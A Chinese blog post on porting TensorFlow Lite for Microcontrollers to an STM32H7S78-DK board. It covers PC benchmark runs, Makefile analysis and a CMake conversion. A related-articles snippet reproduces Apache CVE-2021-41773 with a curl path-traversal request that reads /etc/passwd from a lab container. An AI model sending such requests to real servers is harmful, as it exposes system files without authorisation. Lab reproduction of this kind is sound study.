【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【上篇】

【STM32开发笔记】移植AI框架TensorFlow【上篇】

    • 一、TFLM是什么？
    • 二、TFLM开源项目
      • 2.1 下载TFLM源代码
      • 2.2 TFLM基准测试说明
      • 2.3 TFLM基准测试命令
    • 三、TFLM初步体验
      • 3.1 PC上运行Keyword基准测试
      • 3.2 PC上运行Person detection基准测试
      • 3.3 No module named 'numpy'问题解决
    • 四、TFLM源码浅析
      • 4.1 编译生成的.o文件
      • 4.2 基准测试的构建目标
      • 4.3 基准测试的构建规则
      • 4.4 TFLM库的构建规则
    • 五、TFLM主体移植
      • 5.1 实现TFLM库的构建
      • 5.2 实现辅助函数microlite_test
      • 5.3 实现keyword基准测试的构建
      • 5.4 实现Person detection基准测试的构建
      • 5.5 实现基准测试依赖的功能——计时和日志
    • 六、参考链接

本系列将介绍如何将TensorFlow Lite for Microcontrollers一直到STM32H7S78-DK上。由于整个过程较为繁琐，本系列将分为上下两篇进行介绍。本文为系列内容的上篇，主要分为TFLM是什么、TFLM初步体验、TFLM源码浅析、TFLM主体移植几个部分。其中，TFLM初步体验部分将会介绍如何在PC上运行TFLM基准测试，TFLM源码浅析部分主要介绍TFLM源码是如何进行构建的，TFLM主体移植主要介绍如何在基于CMake的STM32项目中构建TFLM库和基准测试。

一、TFLM是什么？

你或许都听说过TensorFlow——由谷歌开发并开源的一个机器学习库，它支持模型训练和模型推理。

今天介绍的TFLM，全称是TensorFlow Lite for Microcontrollers，翻译过来就是“针对微控制器的TensorFlow Lite”。那TensorFlow Lite又是什么呢？

TensorFlow Lite（通常简称TFLite）其实是TensorFlow团队为了将模型部署到移动设备而开发的一套解决方案，可以简单理解为TensorFlow的手机版。下面是TensorFlow官网上关于TFLite的一段介绍：

TensorFlow Lite 是一组工具，可帮助开发者在移动设备、嵌入式设备和 loT 设备上运行模型，以便实现设备端机器学习。

而我们今天要介绍的TensorFlow Lite for Microcontrollers（TFLM）则是 TensorFlow Lite的微控制器版本。这里是官网上的一段介绍：

TensorFlow Lite for Microcontrollers （以下简称TFLM）是 TensorFlow Lite 的一个实验性移植版本，它适用于微控制器和其他一些仅有数千字节内存的设备。 它可以直接在“裸机”上运行，不需要操作系统支持、任何标准 C/C++ 库和动态内存分配。核心运行时(core runtime)在 Cortex M3 上运行时仅需 16KB，加上足以用来运行语音关键字检测模型的操作，也只需 22KB 的空间。

这三者一脉相承，都出自谷歌，区别是TensorFlow同时支持训练和推理，而后两者只支持推理。TFLite主要用于支持手机、平台等移动设备，TFLM则可以支持单片机。从发展历程上来说，后两者都可以说是TensorFlow项目的“支线项目”。或者说这三者是一个树形的发展过程，目前是三个并进发展的。

二、TFLM开源项目

TFLM代码仓链接：https://github.com/tensorflow/tflite-micro

2.1 下载TFLM源代码

下载TFLM需要使用如下git命令：

 git clone https://github.com/tensorflow/tflite-micro.git

TFLM顶层目录下的文件和目录，如下图所示：

image-20240915212410086

2.2 TFLM基准测试说明

TFLM顶层目录有README.md文件，其Additional Documentation节列出来Benchmark说明，Benchmark（基准测试）用于衡量关键模型和工作负载的性能。

README.md前一半内容为：

image-20240915212828124

完整内容参考： tflite-micro/tensorflow/lite/micro/benchmarks/README.md at main · tensorflow/tflite-micro (github.com)

2.3 TFLM基准测试命令

从README的”Run on x86”可以看到，在x86 PC上运行关键词基准测试的命令是：

make -f tensorflow/lite/micro/tools/make/Makefile run_keyword_benchmark

在x86 PC上运行人体检测基准测试的命令是：

make -f tensorflow/lite/micro/tools/make/Makefile run_person_detection_benchmark

以上两个命令都会调用make命令，并以tensorflow/lite/micro/tools/make/Makefile为构建规则，分别构建run_keyword_benchmark和run_person_detection_benchmark两个目标。

查阅tensorflow/lite/micro/tools/make/Makefile文件夹内容，可以看到：

image-20240915213658373

这段代码中的 595行、601行、605行、612行、613行 分别会下载一些文件，具体下载的是tflm依赖的库和测试数据集；

而执行上面两个make命令，实际上会依次执行如下步骤：

  1. 下载依赖库和数据集；
  2. 编译测试程序；
  3. 运行测试程序；

必须至少一遍make命令，才会下载测试数据集，才能进行后续的移植步骤。

三、TFLM初步体验

由于TFLM开源项目依赖部分三方软件代码没有直接放在TFLM源码仓中，需要运行一次基准测试才会下载下拉进行编译。因此，我们需要先在PC上体验一下TFLM基准测试。

PC上运行TFLM推荐使用Ubuntu系统，其他操作系统运行可能会有些问题。

3.1 PC上运行Keyword基准测试

PC Linux系统上，运行如下命令，可以执行Keyword基准测试：

make -f tensorflow/lite/micro/tools/make/Makefile run_keyword_benchmark

命令执行完毕，最后输出如下：

image-20240915220542913

PC上运行10次耗时3毫秒。

3.2 PC上运行Person detection基准测试

make -f tensorflow/lite/micro/tools/make/Makefile run_person_detection_benchmark命令执行完毕，最后输出如下：

image-20240915220904048

image-20240915220841572

PC上运行10次，有人的耗时343毫秒，无人的耗时337毫秒。

3.3 No module named 'numpy’问题解决

make命令报错：

image-20240915214404249

解决方法：

pip install numpy

四、TFLM源码浅析

开始移植TFLM之前，需要清楚TFLM整个源码项目是如何构建的（也就是构建规则）。

4.1 编译生成的.o文件

PC上运行完基准测试命令过程中，会执行源码编译命令。运行完成后，使用如下命令，可以找到所有.o文件：

find . -name '*.o'

部分输出如下图所示：

image-20240918205828262

通过该命令的输出，我们可以知道刚刚的两个命令一共有多少源文件参与了编译。

4.2 基准测试的构建目标

要移植TFLM，仅仅知道有多少源文件参与编译还不够，我们需要知道具体的构建规则。本节将通过分析Makefile解读基准测试的具体构建目标（target）。

从前面的PC端运行Keyword基准测试的输出可以看到，可执行程序名称为keyword_benchmark，通过搜索源码，可以找到对应的Makefile构建规则代码为：

image-20240918213031151

这里调用了Makefile的宏函数microlite_test，并传递了4个参数，分别为：

  • 参数1：keyword_benchmark
  • 参数2：$(KEYWORD_BENCHMARK_SRCS)
  • 参数3：$(KEYWORD_BENCHMARK_HDRS)
  • 参数4：$(KEYWORD_BENCHMARK_GENERATOR_INPUTS)

4.3 基准测试的构建规则

下面以keyword_benchmark为例分析具体构建规则。

宏函数microlite_test的具体定义为：

image-20240918214047186

image-20240918215156216

前面我们执行了如下命令：

make -f tensorflow/lite/micro/tools/make/Makefile run_keyword_benchmark

这个命令指定的目标名称为run_keyword_benchmark，对应到helper_function.inc文件中的84行，参数1为keyword_benchmark，下方规则的TEST_SCRIPT变量的值定义在tensorflow/lite/micro/tools/make/Makefile文件中为空白字符串，因此不起作用；

84行还可以看到run_keyword_benchmark目标依赖$(keyword_benchmark_BINARY)目标，回看到52行，可以知道：

  • $(keyword_benchmark_BINARY)目标表示可执行程序文件路径，：

  • $(keyword_benchmark_BINARY)目标依赖$(keyword_benchmark_LOCAL_OBJS)目标；

  • $(keyword_benchmark_BINARY)目标依赖$(MICROLITE_LIB_PATH)目标；

  • $(keyword_benchmark_BINARY)目标的构建规则为：

    $$(CXX) $$(CXXFLAGS) $$(INCLUDES) \-o $$(keyword_benchmark_BINARY) $$(keyword_benchmark_LOCAL_OBJS) \$$(MICROLITE_LIB_PATH) $$(LDFLAGS) $$(MICROLITE_LIBS)

根据传参，可以知道，一些变量的值为：

  • keyword_benchmark_LOCAL_SRCS的初始值为： tensorflow/lite/micro/benchmarks/keyword_benchmark.cc

  • keyword_benchmark_LOCAL_HDRS的值为：tensorflow/lite/micro/benchmarks/micro_benchmark.h

  • 得到GEN_RESULTS的命令为： python3 tensorflow/lite/micro/tools/generate_cc_arrays.py gen/linux_x86_64_default_gcc/genfiles tensorflow/lite/micro/models/keyword_scrambled.tflite，该命令会将模型文件转为.h和.cc文件，其中.h为声明，.cc为数据：

    #include <cstdint>constexpr unsigned int g_keyword_scrambled_model_data_size = 34576;
extern const unsigned char g_keyword_scrambled_model_data[];

    命令的输出为：gen/linux_x86_64_default_gcc/genfiles/tensorflow/lite/micro/models/keyword_scrambled_model_data.cc。

  • keyword_benchmark_LOCAL_SRCS值会变为包含刚刚生成的模型keyword_scrambled_model_data.cc；

  • keyword_benchmark_LOCAL_OBJS的值是：先将keyword_benchmark_LOCAL_SRCS值中所有.cc替换为.o，再给每个值添加前缀gen/linux_x86_64_default_gccobj/core/；

  • MICROLITE_LIB_PATH的值为库文件libtensorflow-microlite.a的完整路径： gen/linux_x86_64_default_gcc/lib/libtensorflow-microlite.a

好了，到这里就可以看到$(keyword_benchmark_BINARY)目标构建规则下方命令的主要参数了：

  • -o选项为gen/linux_x86_64_default_gcc/bin/keyword_benchmark；

  • $(keyword_benchmark_LOCAL_OBJS)为所有目标文件（.o）列表；

  • $(MICROLITE_LIB_PATH)是链接的库文件（.a）路径；

  • $(LDFLAGS)是链接器命令行选项；

  • $(MICROLITE_LIBS)是额外库选项，实际为 -lm；

    到这里，Keyword基准测试的构建规则以及分析清楚了。

4.4 TFLM库的构建规则

接下来，我们分析keyword链接的库文件libtensorflow-microlite.a（简称TFLM库）的链接规则。

该目标的定义为：

image-20240918223607739

这里可以看到，该库是由以下目标文件列表归档（使用ar命令）而来：

  • $(MICROLITE_LIB_OBJS)
  • $(MICROLITE_KERNEL_OBJS)
  • $(MICROLITE_THIRD_PARTY_OBJS)
  • $(MICROLITE_THIRD_PARTY_KERNEL_OBJS)
  • $(MICROLITE_CUSTOM_OP_OBJS)

其中，前四个变量的值来自：

image-20240918223939972

这里可以看到，前面的几个目标文件列表分别来自：

  • $(MICROLITE_LIB_OBJS)来自于$(MICROLITE_CC_SRCS)
  • $(MICROLITE_KERNEL_OBJS)来自于$(THIRD_PARTY_CC_SRCS)
  • $(MICROLITE_THIRD_PARTY_OBJS)来自于$(THIRD_PARTY_KERNEL_CC_SRCS)
  • $(MICROLITE_THIRD_PARTY_KERNEL_OBJS)来自于$(MICROLITE_CC_KERNEL_SRCS)
  • $(MICROLITE_CUSTOM_OP_OBJS)没有在Makefile中定义，默认为空，可以忽略（实际使用时，可以通过命令行参数指定）；

经过在Makefile中加入日志打印，发现上述几个xxx_SRCS变量的值为：

image-20240919211922448

五、TFLM主体移植

从TFLM官方介绍文档、测试命令以及源码分析可以知道，在STM32H7S78-DK上移植TFLM可以分解为以下几个主要任务：

  • 实现TFLM库的构建
  • 实现CMake版的辅助函数microlite_test
  • 实现keyword基准测试的构建
  • 实现person detection基准测试（可选）的构建
  • 实现基准测试依赖的功能——计时和日志

接下来分别介绍，如何完成上述任务。

5.1 实现TFLM库的构建

有了以上分析之后，我们就可以进行今天最重要的工作，将Makefile转换为CMake构建规则文件（CMakeLists.txt）。

这部分是整个移植过程中工作量和难度最大的部分，涉及到很多CMake的语法细节，这里不详细介绍。

实现TFLM库构建的CMake代码为：

TFLM-libtflite-micro

5.2 实现辅助函数microlite_test

TFLM源码中，构建基准测试使用了GNU Make的microlite_test宏函数，实现了代码的复用和逻辑精简。和GNU Make类似的，CMake也支持函数。本节我们实现GNU Make的microlite_test宏函数的CMake移植版。

CMake具体代码如下：

TFLM-microlite_test

这部分做了几个特殊处理：

  • 目标类型从可执行程序修改为静态库，即生成文件类型由.elf文件改为.a文件；
  • 使用宏将main函数重命名为${NAME}_main；

做出如上两处修改的原因是——由CubeMX生成的基础已经有main函数，并且可以生成elf文件。通过上述两个修改，我们可以将基准测试代码链接到CubeMX生成的代码中去，进而实现整个项目可以在STM32H7S78-DK上运行。

5.3 实现keyword基准测试的构建

有了CMake辅助函数microlite_test之后，实现keyword基准测试的构建就很简单了，直接看代码：

TFLM-keyword_benchmark

5.4 实现Person detection基准测试的构建

同样的，有了CMake辅助函数microlite_test之后，实现Person detection基准测试的构建也很简单，直接看代码：

TFLM-person_detection

5.5 实现基准测试依赖的功能——计时和日志

TFLM本身是一个边缘AI推理库，可以理解为一个举证向量计算库，纯CPU计算不依赖任何外设功能。但是，TFLM的基准测试则依赖计时和日志功能。在不同平台上，计时和日志功能的实现方式有所不同，对应的代码也不同（例如Linux、Windows、MacOS操作系统、STM32单片机、ESP32单片机上，实现计时和日志的代码是不是一样的）。

TFLM源码中，已经为移植进行了设计，其中两个文件名分别对应计时和日志：

  • debug_log.cc，用于实现计时功能，不同平台有不同版本；
  • micro_time.cc，用于实现计时功能，不同平台有不同版本；

默认的debug_log.cc实现为tensorflow/lite/micro/debug_log.cc，其主要代码内容为：

TFLM-debug_log_stderr

这里实现了——使用vfprintf向stderr输出。借助过往经验，我们知道CubeMX生成的项目稍加修改就能够支持printf，这种方式应该也可以支持。

因此，对于STM32单片机这部分可以不用修改！

默认的micro_time.cc实现为tensorflow/lite/micro/micro_time.cc，其主要代码内容为：

TFLM-micro_time_ctime

这个文件里面提供了两种实现，通过TF_LITE_USE_CTIME宏进行切换：

  • 如果没定义TF_LITE_USE_CTIME宏，则为空实现，提供空壳函数，可以编译通过，无法正常计时；
  • 如果定义了TF_LITE_USE_CTIME宏，则为基于C标准库clock()和CLOCKS_PER_SEC的计时；

对于STM32单片机，C标准库的clock()的计时不能直接使用。

因此，对于STM32单片机，需要单独实现一个micro_time.cc文件，具体代码为：

TFLM-micro_time_stm32_hal

到这里，TFLM移植的主体内容基本已经完成了，还有一些问题需要解决，我能将在下篇进行介绍，欢迎关注。

本篇内容到此为止，感谢阅读！

六、参考链接

  1. TensorFlow Lite for Microcontrollers介绍： TensorFlow Lite for Microcontrollers (google.cn)
  2. TensorFlow Lite for Microcontrollers入门： 微控制器入门 | TensorFlow (google.cn)
  3. tflite-micro 源码GitHub仓： https://github.com/tensorflow/tflite-micro
  4. CMake最新文档： CMake Reference Documentation — CMake 3.30.3 Documentation

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.xdnf.cn/news/148654.html

如若内容造成侵权/违法违规/事实不符，请联系一条长河网进行投诉反馈，一经查实，立即删除！

相关文章

【Go】探索Go语言中的Map

【Go】探索Go语言中的Map

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…
阅读更多...
SpringBoot整合InfluxDB（实战）

SpringBoot整合InfluxDB（实战）

一、简单介绍InfluxDB是什么&#xff1f; InfluxDB是一个由InfluxData开发的开源时序型数据。它由Go写成&#xff0c;着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据&#xff0c;IoT行业的实时数据等场景。 1、主要特点 时间序列数据存储 专门…
阅读更多...
【机器学习】生成对抗网络（GAN）——生成新数据的神经网络

【机器学习】生成对抗网络（GAN）——生成新数据的神经网络

生成对抗网络&#xff08;Generative Adversarial Networks&#xff0c;简称GAN&#xff09;是一种创新的神经网络结构&#xff0c;近年来在机器学习和人工智能领域引起了广泛的关注。GAN的核心思想是通过两个神经网络的对抗性训练&#xff0c;生成高质量的、与真实数据相似的新…
阅读更多...
FastAPI 第二课 -- 安装

FastAPI 第二课 -- 安装

目录 一. 前言 二. 运行第一个 FastAPI 应用 一. 前言 FastAPI 依赖 Python 3.8 及更高版本。 安装 FastAPI 很简单&#xff0c;这里我们使用 pip 命令来安装。 pip install fastapi 另外我们还需要一个 ASGI 服务器&#xff0c;生产环境可以使用 Uvicorn 或者 Hypercorn…
阅读更多...
构建 Spring Data JPA 项目所需的依赖与配置

构建 Spring Data JPA 项目所需的依赖与配置

一、使用 Spring Boot Initializr 添加依赖的步骤&#xff08;IntelliJ IDEA 中的操作&#xff09; 打开 IntelliJ IDEA&#xff0c;选择 New Project > Spring Initializr。填写项目的 Group、Artifact、Project Metadata 等基础信息。选择 Maven Project&#xff0c;并选…
阅读更多...
函数模板进阶 - 为什么函数模板不要特化？

函数模板进阶 - 为什么函数模板不要特化？

本文参考文章2001 年 7 月的 C/C++ Users Journal，第 19 卷第 7 期：Why Not Specialize Function Templates? 大家有兴趣可以看看原文。 文章目录 一、 重载和特化1. 重载2. 特化二、特化和重载的调用优先级1. 第一份代码2. 第二份代码3. 原因三、函数模板特化的书写格式1. …
阅读更多...
扩散模型和表示学习(Diffusion Models and Representation Learning)

扩散模型和表示学习(Diffusion Models and Representation Learning)

Diffusion Models专栏文章汇总&#xff1a;入门与实战 前言&#xff1a;扩散模型是各种视觉任务中流行的生成建模方法&#xff0c;引起了人们的广泛关注。它们可以被认为是自监督学习方法的一个独特实例&#xff0c;因为它们独立于标签注释。这篇博客讨论扩散模型与表征学习之间…
阅读更多...
《linux系统》基础操作

《linux系统》基础操作

二、综合应用题(共50分) 随着云计算技术、容器化技术和移动技术的不断发展,Unux服务器已经成为全球市场的主导者,因此具备常用服务器的配置与管理能力很有必要。公司因工作需要,需要建立相应部门的目录,搭建samba服务器和FTP服务器,要求将销售部的资料存放在samba服务器…
阅读更多...
Android15之编译Cuttlefish模拟器(二百三十一)

Android15之编译Cuttlefish模拟器(二百三十一)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…
阅读更多...
托盘检测系统源码分享

托盘检测系统源码分享

托盘检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …
阅读更多...
电脑误删文件回收站清空了怎么找回文件？

电脑误删文件回收站清空了怎么找回文件？

在日常工作和生活中&#xff0c;电脑已成为我们不可或缺的工具。然而&#xff0c;随着使用频率的增加&#xff0c;误删文件的情况也时有发生。更为糟糕的是&#xff0c;有时候我们在清空回收站后才意识到误删了重要文件。面对这种情况&#xff0c;很多人可能会感到绝望&#xf…
阅读更多...
MatrixOne 助力某电信运营商构建低成本高性能车联网管理系统

MatrixOne 助力某电信运营商构建低成本高性能车联网管理系统

客户基本情况 该电信运营商在物联网领域深耕多年&#xff0c;致力于为企业和个人提供全面的物联网解决方案&#xff0c;包括智能连接、设备管理、数据采集与分析等核心服务。凭借其强大的网络覆盖和技术优势&#xff0c;该运营商为各行业提供高效、安全、可靠的物联网服务&…
阅读更多...
【算法业务】基于Multi-Armed Bandits的个性化push文案自动优选算法实践

【算法业务】基于Multi-Armed Bandits的个性化push文案自动优选算法实践

1. 背景介绍 该工作属于多年之前的用户增长算法业务项目。在个性化push中&#xff0c;文案扮演非常重要的角色&#xff0c;是用户与push的商品之间的桥梁&#xff0c;文案是用户最直接能感知的信息。应该说在push产品信息之外&#xff0c;最重要的就是文案&#xff0c;直接能…
阅读更多...
【二等奖论文】2024年华为杯研究生数学建模F题成品论文

【二等奖论文】2024年华为杯研究生数学建模F题成品论文

您的点赞收藏是我继续更新的最大动力&#xff01; 一定要点击如下的卡片&#xff0c;那是获取资料的入口&#xff01; 【全网最全】2024年华为杯研赛F题保奖思路matlab/py代码成品论文等&#xff08;后续会更新完整 点击链接加入群聊【2024华为杯研赛资料汇总】&#xff1a;ht…
阅读更多...
BUUCTF-MISC-荷兰宽带数据泄露

BUUCTF-MISC-荷兰宽带数据泄露

下载附件得到一个二进制文件 通过题目猜测这是一段路由器备份日志&#xff0c;可以使用RouterPassView打开 链接: https://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k 下载链接http://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k注意&#xff0c;这个软件会报毒…
阅读更多...
二、电脑入门2之常用dos命令

二、电脑入门2之常用dos命令

打开dos命令窗口 win R 常用dos命令 dir&#xff1a; 列出当前目录下的所有文件以及目录 cls &#xff1a;清理屏幕 exit&#xff1a; 关闭dos命令窗口 c:(盘字母后带冒号) 切换盘符 del&#xff1a; 删除文件 ipconfig &#xff1a; 查看IP信息 ipconfig/all &#xf…
阅读更多...
导入时，文档模板不被下载

导入时，文档模板不被下载

问题描述 提示&#xff1a;这里描述项目中遇到的问题&#xff1a; 这是个SSM项目&#xff0c;以前经常遇到这个问题&#xff0c;今天有幸记录下来 [ERROR][o.a.s.r.StreamResult] Can not find a java.io.InputStream with the name [downLoadFile] in the invocation stack…
阅读更多...
Apache CVE-2021-41773 漏洞复现

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证
阅读更多...
uni-icons自定义图标详细步骤及踩坑经历

uni-icons自定义图标详细步骤及踩坑经历

一、详细步骤 获取图标 1.访问iconfont-阿里巴巴矢量图标库&#xff0c;搜索图标并加入购物车&#xff1a; 2.点击页面右上角购物车图标 &#xff0c;点击添加至项目&#xff0c;如没有项目&#xff0c;需要点击下图第二步的图标新建一个项目目录&#xff0c;如已经有项目则…
阅读更多...
Leetcode面试经典150题-39.组合总数进阶：40.组合总和II

Leetcode面试经典150题-39.组合总数进阶：40.组合总和II

本题是扩展题&#xff0c;真实考过&#xff0c;看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…
阅读更多...
最新文章

Copyright @ 2022~2023